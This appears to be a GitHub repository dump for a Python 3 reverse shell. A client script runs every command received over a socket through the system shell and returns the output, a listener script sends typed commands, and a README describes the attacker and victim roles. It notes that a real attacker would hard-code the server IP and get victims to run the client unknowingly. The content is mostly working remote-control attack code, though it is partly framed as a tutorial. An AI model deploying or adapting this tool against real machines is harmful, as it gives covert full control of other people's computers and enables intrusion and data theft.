├── reverse1.png ├── reverse2.gif ├── client.py ├── README.md └── server.py /reverse1.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iteong/reverse-shell/HEAD/reverse1.png -------------------------------------------------------------------------------- /reverse2.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/iteong/reverse-shell/HEAD/reverse2.gif -------------------------------------------------------------------------------- /client.py: -------------------------------------------------------------------------------- 1 | import socket 2 | # control operating system of target machine 3 | import os 4 | import subprocess 5 | 6 | s = socket.socket() # client computer can connect to others 7 | 8 | # ip address of server, can use own computer's private IP if doing on local 9 | host = str(input("Enter the IP address of the server that wants to control your computer: ")) 10 | port = int(input("Enter the port of the server that wants to control your computer (default input: 9999): ")) 11 | 12 | s.connect((host, port)) # binds client computer to server computer 13 | 14 | # infinite loop for continuous listening for server's commands 15 | while True: 16 | data = s.recv(1024) 17 | if data[:2].decode("utf-8") == 'cd': # command to change directory (cd) 18 | os.chdir(data[3:].decode("utf-8")) # look at target directory to cd to 19 | 20 | if len(data) > 0: # check if there are actually data/commands received (that is not cd) 21 | 22 | # opens up a process to run a command similar to running in terminal, takes out any output and pipes out to standard stream 23 | cmd = subprocess.Popen(data[:].decode("utf-8"), shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) 24 | 25 | # bytes and string versions of results 26 | output_bytes = cmd.stdout.read() + cmd.stderr.read() # bytes version of streamed output 27 | output_str = str(output_bytes, "utf-8") # plain old basic string 28 | 29 | # getcwd allows the server side to see where the current working directory is on the client 30 | s.send(str.encode(output_str + str(os.getcwd()) + '> ')) 31 | print(output_str) # client can see what server side is doing 32 | 33 | # close connection 34 | s.close() 35 | 36 | 37 | 38 | 39 | 40 | 41 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # reverse-shell 2 |

Reverse Shell with Python 3

3 | 4 | ![Normal vs Reverse](reverse1.png) 5 | 6 | Purpose of Reverse Shell: 7 | Connect to someone's computer from anywhere in the world and control it remotely. 8 | 9 | Problems of trying to control/hack someone's personal computer: 10 | - personal computers are difficult to connect with directly. 11 | - personal computer's IP is dynamic (always changing) and not public (each computer has a private IP for itself and public IP it is connected to). 12 | - personal computer's firewalls may deny incoming attempts to hack it. 13 | 14 | Solution: 15 | - set up a server (server.py) that 'listens' for incoming client connections and have the target computer (client.py) connect to us. 16 | - client's operating system thinks that since the client initiated the connection to the server, it should be a safe connection. 17 | 18 | ![Connection](reverse2.gif) 19 | 20 | Uses: 21 | - helping a friend with computer problems by reverse shell into his computer remotely on your computer. 22 | - a system administrator needs to access a bunch of computers remotely for maintenance and execution of commands. 23 | - hackers gain full control into our machines by getting us to run the program in the background unknowingly. 24 | 25 | Steps: 26 | 1) Attacker's machine (which has a public IP and is reachable over the internet) acts as a server. This is done by running the server.py file. It opens a communication channel on a port and waits for incoming client connections. 27 | 2) Victim's machine acts as a client and initiates a connection to the attacker's listening server by running client.py. Currently, the program asks for the server's IP, but in a real-world scenario, the hacker already incorporated the static IP address where his server.py is running into the client.py program. 28 | 3) The IP address and port keyed into the input asked by client.py needs to be that of the server. If the hacker is SSH into a server and running the server.py file to execute commands, he needs to have the IP set as static so that clients can connect to the static IP for the hacker to command and control the client's computer. 29 | 4) Commands are sent on the running server.py program through the connection, and executed on the victim's/client's computer. 30 | 31 | -------------------------------------------------------------------------------- /server.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | 4 | # socket to allow 2 computers to connect 5 | def create_socket(): 6 | try: 7 | global host 8 | global port 9 | global s 10 | host = '' 11 | port = 9999 12 | # don't use common ports like 80, 3389 13 | 14 | s = socket.socket() # actual conversation between server and client 15 | except socket.error as msg: 16 | print("Error creating socket: " + str(msg)) 17 | 18 | # binds socket to port and wait for connection from client/target 19 | def socket_bind(): 20 | try: 21 | global host 22 | global port 23 | global s 24 | print("Binding socket to port: " + str(port)) 25 | s.bind((host, port)) # host: usually an IP address, but since we listening to our own machine, it is blank 26 | s.listen(5) # listen allows server to accept connections, number 5 is number of bad connections it will take before refusing 27 | except socket.error as msg: 28 | print("Error binding socket to port: " + str(msg) + "\n" + "Retrying...") 29 | socket_bind() # recursion, keeps trying if error happens 30 | 31 | # establish connection with client (socket must be listening for connections) 32 | def socket_accept(): 33 | conn, address = s.accept() 34 | print("Connection has been established | " + "IP " + address[0] + " | Port " + str(address[1])) 35 | send_commands(conn) 36 | conn.close() 37 | 38 | # sends commands to target/client computer to remote-control it 39 | def send_commands(conn): 40 | while True: # infinite loop for connection to stay constant 41 | cmd = input() # cmd = command we type into terminal to send to client 42 | 43 | # whatever we type into command line and when running/storing commands is of byte type 44 | # whenever we want to send across network, need to be of byte type 45 | # to print out for user, need to be changed to string 46 | if cmd == 'quit': 47 | conn.close() 48 | s.close() 49 | sys.exit() 50 | if len(str.encode(cmd)) > 0: # check that the command is not empty, otherwise do not send across network 51 | conn.send(str.encode(cmd)) 52 | client_response = str(conn.recv(1024), "utf-8") # 1024 is buffer size, utf-8 to convert to normal string 53 | print(client_response, end="") # default end = '\n', change it to '' so don't give new line at the end 54 | 55 | def main(): 56 | create_socket() 57 | socket_bind() 58 | socket_accept() # no need send_commands as this function calls that when called 59 | 60 | main() 61 | 62 | 63 | 64 | --------------------------------------------------------------------------------